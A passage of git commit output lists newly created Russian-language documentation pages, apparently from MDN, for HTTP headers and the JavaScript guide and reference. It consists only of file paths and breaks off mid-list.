create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/expect/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/expires/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/host/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/if-match/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/if-modified-since/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/if-unmodified-since/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/last-modified/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/origin/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/pragma/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/range/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/referer/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/retry-after/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/set-cookie/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/strict-transport-security/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/vary/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/x-content-type-options/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/x-forwarded-for/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/x-xss-protection/index.html" create mode 100644 "files/ru/web/http/\320\272\321\203\320\272\320\270/index.html" create mode 100644 "files/ru/web/http/\320\272\321\215\321\210\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265/index.html" create mode 100644 files/ru/web/index.html create mode 100644 files/ru/web/javascript/a_re-introduction_to_javascript/index.html create mode 100644 files/ru/web/javascript/closures/index.html create mode 100644 files/ru/web/javascript/data_structures/index.html create mode 100644 files/ru/web/javascript/enumerability_and_ownership_of_properties/index.html create mode 100644 files/ru/web/javascript/equality_comparisons_and_sameness/index.html create mode 100644 files/ru/web/javascript/eventloop/index.html create mode 100644 files/ru/web/javascript/guide/about/index.html create mode 100644 files/ru/web/javascript/guide/control_flow_and_error_handling/index.html create mode 100644 files/ru/web/javascript/guide/details_of_the_object_model/index.html create mode 100644 files/ru/web/javascript/guide/expressions_and_operators/index.html create mode 100644 files/ru/web/javascript/guide/functions/index.html create mode 100644 files/ru/web/javascript/guide/grammar_and_types/index.html create mode 100644 files/ru/web/javascript/guide/index.html create mode 100644 files/ru/web/javascript/guide/indexed_collections/index.html create mode 100644 files/ru/web/javascript/guide/ispolzovanie_promisov/index.html create mode 100644 files/ru/web/javascript/guide/iterators_and_generators/index.html create mode 100644 files/ru/web/javascript/guide/javascript_overview/index.html create mode 100644 files/ru/web/javascript/guide/keyed_collections/index.html create mode 100644 files/ru/web/javascript/guide/liveconnect_overview/index.html create mode 100644 files/ru/web/javascript/guide/meta_programming/index.html create mode 100644 files/ru/web/javascript/guide/modules/index.html create mode 100644 files/ru/web/javascript/guide/numbers_and_dates/index.html create mode 100644 files/ru/web/javascript/guide/predefined_core_objects/index.html create mode 100644 files/ru/web/javascript/guide/regular_expressions/assertions/index.html create mode 100644 files/ru/web/javascript/guide/regular_expressions/character_classes/index.html create mode 100644 files/ru/web/javascript/guide/regular_expressions/index.html create mode 100644 files/ru/web/javascript/guide/text_formatting/index.html create mode 100644 files/ru/web/javascript/guide/working_with_objects/index.html create mode 100644 "files/ru/web/javascript/guide/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265_\320\262_javascript/index.html" create mode 100644 "files/ru/web/javascript/guide/\320\276\320\261_\321\215\321\202\320\276\320\274_\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\265/index.html" create mode 100644 "files/ru/web/javascript/guide/\321\206\320\270\320\272\320\273\321\213_\320\270_\320\270\321\202\320\265\321\200\320\260\321\206\320\270\320\270/index.html" create mode 100644 files/ru/web/javascript/index.html create mode 100644 files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html create mode 100644 files/ru/web/javascript/introduction_to_object-oriented_javascript/index.html create mode 100644 files/ru/web/javascript/javascript_technologies_overview/index.html create mode 100644 "files/ru/web/javascript/javascript_\321\210\320\265\320\273\320\273\321\213/index.html" create mode 100644 files/ru/web/javascript/language_resources/index.html create mode 100644 files/ru/web/javascript/memory_management/index.html create mode 100644 files/ru/web/javascript/new_in_javascript/1.5/index.html create mode 100644 files/ru/web/javascript/new_in_javascript/1.6/index.html create mode 100644 files/ru/web/javascript/new_in_javascript/1.8.1/index.html create mode 100644 files/ru/web/javascript/new_in_javascript/1.8.5/index.html create mode 100644 files/ru/web/javascript/new_in_javascript/1.8/index.html create mode 100644 files/ru/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html create mode 100644 files/ru/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html create mode 100644 files/ru/web/javascript/new_in_javascript/index.html create mode 100644 files/ru/web/javascript/reference/classes/class_fields/index.html create mode 100644 files/ru/web/javascript/reference/classes/constructor/index.html create mode 100644 files/ru/web/javascript/reference/classes/extends/index.html create mode 100644 files/ru/web/javascript/reference/classes/index.html create mode 100644 files/ru/web/javascript/reference/classes/static/index.html create mode 100644 "files/ru/web/javascript/reference/classes/\320\277\321\200\320\270\320\262\320\260\321\202\320\275\321\213\320\265_\320\277\320\276\320\273\321\217_\320\272\320\273\320\260\321\201\321\201\320\260/index.html" create mode 100644 files/ru/web/javascript/reference/deprecated_and_obsolete_features/index.html create mode 100644 files/ru/web/javascript/reference/errors/already_has_pragma/index.html create mode 100644 files/ru/web/javascript/reference/errors/array_sort_argument/index.html create mode 100644 files/ru/web/javascript/reference/errors/bad_octal/index.html create mode 100644 files/ru/web/javascript/reference/errors/bad_radix/index.html create mode 100644 files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html create mode 100644 files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html create mode 100644 files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html create mode 100644 files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html create mode 100644 files/ru/web/javascript/reference/errors/cant_access_property/index.html create mode 100644 files/ru/web/javascript/reference/errors/cant_assign_to_property/index.html create mode 100644 files/ru/web/javascript/reference/errors/cant_define_property_object_not_extensible/index.html create mode 100644 files/ru/web/javascript/reference/errors/cant_delete/index.html create mode 100644 files/ru/web/javascript/reference/errors/cant_redefine_property/index.html create mode 100644 files/ru/web/javascript/reference/errors/cyclic_object_value/index.html create mode 100644 files/ru/web/javascript/reference/errors/dead_object/index.html create mode 100644 files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html create mode 100644 files/ru/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.html create mode 100644 files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html create mode 100644 files/ru/web/javascript/reference/errors/deprecated_octal/index.html create mode 100644 files/ru/web/javascript/reference/errors/deprecated_source_map_pragma/index.html create mode 100644 files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html create mode 100644 files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html create mode 100644 files/ru/web/javascript/reference/errors/equal_as_assign/index.html create mode 100644 files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html create mode 100644 files/ru/web/javascript/reference/errors/getter_only/index.html create mode 100644 files/ru/web/javascript/reference/errors/identifier_after_number/index.html create mode 100644 files/ru/web/javascript/reference/errors/illegal_character/index.html create mode 100644 files/ru/web/javascript/reference/errors/in_operator_no_object/index.html create mode 100644 files/ru/web/javascript/reference/errors/index.html create mode 100644 files/ru/web/javascript/reference/errors/invalid_array_length/index.html create mode 100644 files/ru/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html create mode 100644 files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html create mode 100644 files/ru/web/javascript/reference/errors/invalid_date/index.html create mode 100644 files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html create mode 100644 files/ru/web/javascript/reference/errors/invalid_for-of_initializer/index.html create mode 100644 files/ru/web/javascript/reference/errors/invalid_right_hand_side_instanceof_operand/index.html create mode 100644 files/ru/web/javascript/reference/errors/is_not_iterable/index.html create mode 100644 files/ru/web/javascript/reference/errors/json_bad_parse/index.html create mode 100644 files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html create mode 100644 files/ru/web/javascript/reference/errors/malformed_uri/index.html create mode 100644 files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html create mode 100644 files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html create mode 100644 files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html create mode 100644 files/ru/web/javascript/reference/errors/missing_curly_after_property_list/index.html create mode 100644 files/ru/web/javascript/reference/errors/missing_formal_parameter/index.html create mode 100644 files/ru/web/javascript/reference/errors/missing_initializer_in_const/index.html create mode 100644 files/ru/web/javascript/reference/errors/missing_name_after_dot_operator/index.html create mode 100644 files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html create mode 100644 files/ru/web/javascript/reference/errors/missing_parenthesis_after_condition/index.html create mode 100644 files/ru/web/javascript/reference/errors/missing_semicolon_before_statement/index.html create mode 100644 files/ru/web/javascript/reference/errors/more_arguments_needed/index.html create mode 100644 files/ru/web/javascript/reference/errors/negative_repetition_count/index.html create mode 100644 files/ru/web/javascript/reference/errors/no_non-null_object/index.html create mode 100644 files/ru/web/javascript/reference/errors/no_properties/index.html create mode 100644 files/ru/web/javascript/reference/errors/no_variable_name/index.html create mode 100644 files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html create mode 100644 files/ru/web/javascript/reference/errors/not_a_codepoint/index.html create mode 100644 files/ru/web/javascript/reference/errors/not_a_constructor/index.html create mode 100644 files/ru/web/javascript/reference/errors/not_a_function/index.html create mode 100644 files/ru/web/javascript/reference/errors/not_defined/index.html create mode 100644 files/ru/web/javascript/reference/errors/precision_range/index.html create mode 100644 files/ru/web/javascript/reference/errors/property_access_denied/index.html create mode 100644 files/ru/web/javascript/reference/errors/read-only/index.html create mode 100644 files/ru/web/javascript/reference/errors/redeclared_parameter/index.html create mode 100644 files/ru/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.html create mode 100644 files/ru/web/javascript/reference/errors/reserved_identifier/index.html create mode 100644 files/ru/web/javascript/reference/errors/resulting_string_too_large/index.html create mode 100644 files/ru/web/javascript/reference/errors/stmt_after_return/index.html create mode 100644 files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html create mode 100644 files/ru/web/javascript/reference/errors/too_much_recursion/index.html create mode 100644 files/ru/web/javascript/reference/errors/typed_array_invalid_arguments/index.html create mode 100644 files/ru/web/javascript/reference/errors/undeclared_var/index.html create mode 100644 files/ru/web/javascript/reference/errors/undefined_prop/index.html create mode 100644 files/ru/web/javascript/reference/errors/unexpected_token/index.html create mode 100644 files/ru/web/javascript/reference/errors/unexpected_type/index.html create mode 100644 files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html create mode 100644 files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html create mode 100644 "files/ru/web/javascript/reference/errors/\320\277\320\265\321\200\320\265\320\274\320\265\320\275\320\275\321\213\320\265_\321\201\320\272\321\200\321\213\320\262\320\260\321\216\321\202_\320\260\321\200\320\263\321\203\320\274\320\265\320\275\321\202/index.html" create mode 100644 files/ru/web/javascript/reference/functions/arguments/callee/index.html create mode 100644 files/ru/web/javascript/reference/functions/arguments/caller/index.html create mode 100644 files/ru/web/javascript/reference/functions/arguments/index.html create mode 100644 files/ru/web/javascript/reference/functions/arguments/length/index.html create mode 100644 files/ru/web/javascript/reference/functions/arrow_functions/index.html create mode 100644 files/ru/web/javascript/reference/functions/default_parameters/index.html create mode 100644 files/ru/web/javascript/reference/functions/get/index.html create mode 100644 files/ru/web/javascript/reference/functions/index.html create mode 100644 files/ru/web/javascript/reference/functions/rest_parameters/index.html create mode 100644 files/ru/web/javascript/reference/functions/set/index.html create mode 100644 "files/ru/web/javascript/reference/functions/\320\276\320\277\321\200\320\265\320\264\320\265\320\273\320\270\320\275\320\270\320\265_\320\274\320\265\321\202\320\276\320\264\320\276\320\262/index.html" create mode 100644 files/ru/web/javascript/reference/global_objects/array/@@iterator/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/@@species/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/@@unscopables/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/concat/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/copywithin/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/entries/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/every/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/fill/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/filter/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/find/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/findindex/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/flat/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/flatmap/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/foreach/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/from/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/includes/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/indexof/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/isarray/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/join/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/keys/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/length/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/map/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/observe/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/of/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/pop/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/push/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/reduce/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/reduceright/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/reverse/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/shift/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/slice/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/some/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/sort/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/splice/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/tolocalestring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/tosource/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/tostring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/unshift/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/array/values/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/arraybuffer/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/arraybuffer/isview/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/asyncfunction/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/asyncfunction/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/atomics/add/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/atomics/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/atomics/sub/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/bigint/asintn/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/bigint/asuintn/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/bigint/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/boolean/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/boolean/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/boolean/tosource/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/boolean/tostring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/boolean/valueof/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/dataview/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/dataview/setint16/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/getdate/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/getday/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/getfullyear/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/gethours/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/getmilliseconds/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/getminutes/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/getmonth/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/getseconds/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/gettime/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/getutcdate/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/getutcday/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/getutcfullyear/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/getutchours/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/getutcminutes/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/getutcmonth/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/getutcseconds/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/getyear/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/now/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/parse/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/setdate/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/setfullyear/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/sethours/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/setmilliseconds/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/setminutes/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/setmonth/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/setseconds/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/settime/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/setutcdate/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/setutcfullyear/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/setutchours/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/setutcminutes/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/setutcmonth/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/setutcseconds/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/setyear/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/todatestring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/togmtstring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/toisostring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/tojson/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/tolocaledatestring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/tolocaleformat/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/tolocalestring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/tolocaletimestring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/tosource/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/tostring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/totimestring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/utc/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/date/valueof/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/decodeuri/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/encodeuri/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/error/columnnumber/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/error/filename/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/error/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/error/linenumber/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/error/message/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/error/name/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/error/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/error/stack/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/error/tosource/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/error/tostring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/escape/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/eval/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/evalerror/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/evalerror/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/float32array/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/float64array/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/function/apply/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/function/arguments/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/function/arity/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/function/bind/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/function/call/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/function/caller/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/function/displayname/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/function/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/function/isgenerator/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/function/length/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/function/name/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/function/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/function/tosource/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/function/tostring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/generator/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/generator/next/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/generator/return/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/generator/throw/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/generatorfunction/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/generatorfunction/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/globalthis/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/infinity/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/int16array/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/int32array/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/int8array/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/internalerror/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/internalerror/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/collator/compare/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/collator/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/collator/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/collator/resolvedoptions/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/collator/supportedlocalesof/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/datetimeformat/format/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/datetimeformat/formattoparts/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/datetimeformat/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/datetimeformat/resolvedoptions/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/datetimeformat/supportedlocalesof/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/getcanonicallocales/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/listformat/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/numberformat/format/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/numberformat/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/numberformat/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/numberformat/resolvedoptions/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/intl/numberformat/supportedlocalesof/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/isfinite/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/isnan/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/iterator/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/json/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/json/parse/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/json/stringify/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/map/@@species/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/map/clear/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/map/delete/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/map/entries/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/map/foreach/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/map/get/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/map/has/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/map/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/map/keys/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/map/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/map/set/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/map/size/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/map/values/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/abs/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/acos/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/acosh/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/asin/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/asinh/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/atan/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/atan2/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/atanh/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/cbrt/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/ceil/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/clz32/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/cos/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/cosh/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/e/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/exp/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/expm1/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/floor/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/fround/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/hypot/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/imul/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/ln10/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/ln2/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/log/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/log10/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/log10e/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/log1p/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/log2/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/log2e/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/max/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/min/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/pi/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/pow/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/random/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/round/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/sign/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/sin/index.html create mode 100644 